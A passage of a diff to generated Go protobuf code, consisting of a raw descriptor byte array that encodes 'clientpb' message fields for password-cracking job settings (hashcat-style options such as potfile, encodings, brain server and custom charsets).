0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, - 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, - 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, - 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, - 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, - 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, - 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, - 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, - 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, - 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, - 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, - 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, - 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, - 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, - 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, - 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, - 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, - 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, - 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, - 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, - 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, - 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, - 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, - 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, - 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, - 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, - 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, - 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, - 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, - 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, - 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, - 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, - 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, - 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, - 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, - 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, - 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, - 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, - 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, - 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, - 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, - 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, - 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, - 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, - 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, - 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, - 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, - 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, - 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, - 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, - 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, - 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, - 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, - 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, - 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, - 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, - 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, - 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, - 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, - 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, - 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, - 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, - 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, - 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, - 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, - 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, - 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, - 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, - 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, - 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, - 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, - 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, - 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, - 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, - 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, - 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, - 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, - 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, - 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, - 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, - 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, - 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, - 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, - 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, - 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, - 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, - 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, - 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, - 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, - 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, - 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, - 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, - 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, - 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, - 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, - 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, - 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, - 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, - 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, - 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, - 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, - 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, - 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, - 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, - 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, - 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, - 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, - 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, - 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, - 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, - 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, - 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, - 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, - 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, - 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, - 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, - 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, - 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, - 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, + 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 